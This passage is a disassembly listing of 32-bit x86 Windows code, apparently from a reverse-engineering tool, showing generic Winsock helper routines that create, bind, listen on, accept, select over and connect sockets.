loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call dword_417204 ; setsockopt loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call dword_417268 ; listen cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C ; free pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: cAddress:004022F0p ; cAddress:00403E80p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_41722C ; select mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: cAddress:00402237p ; cAddress:00402321p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp dword_41DE08, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C ; free pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: cAddress:00413653p ; cAddress:004143EAp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: cAddress:004138B3p ; cAddress:004144B9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: cAddress:004139AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: cAddress:004138FBp ; cAddress:004144FEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: cAddress:0041390Cp ; cAddress:0041451Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; cAddress:00413A38p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr [eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: cAddress:00413A97p ; cAddress:004145E8p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; cAddress:004138AAp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_405010 mov [ebp+var_20], 17h jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE54 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call dword_4171F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call dword_417224 ; WSAGetLastError cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call dword_41DE5C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: cAddress:00401EB8p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE54 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr 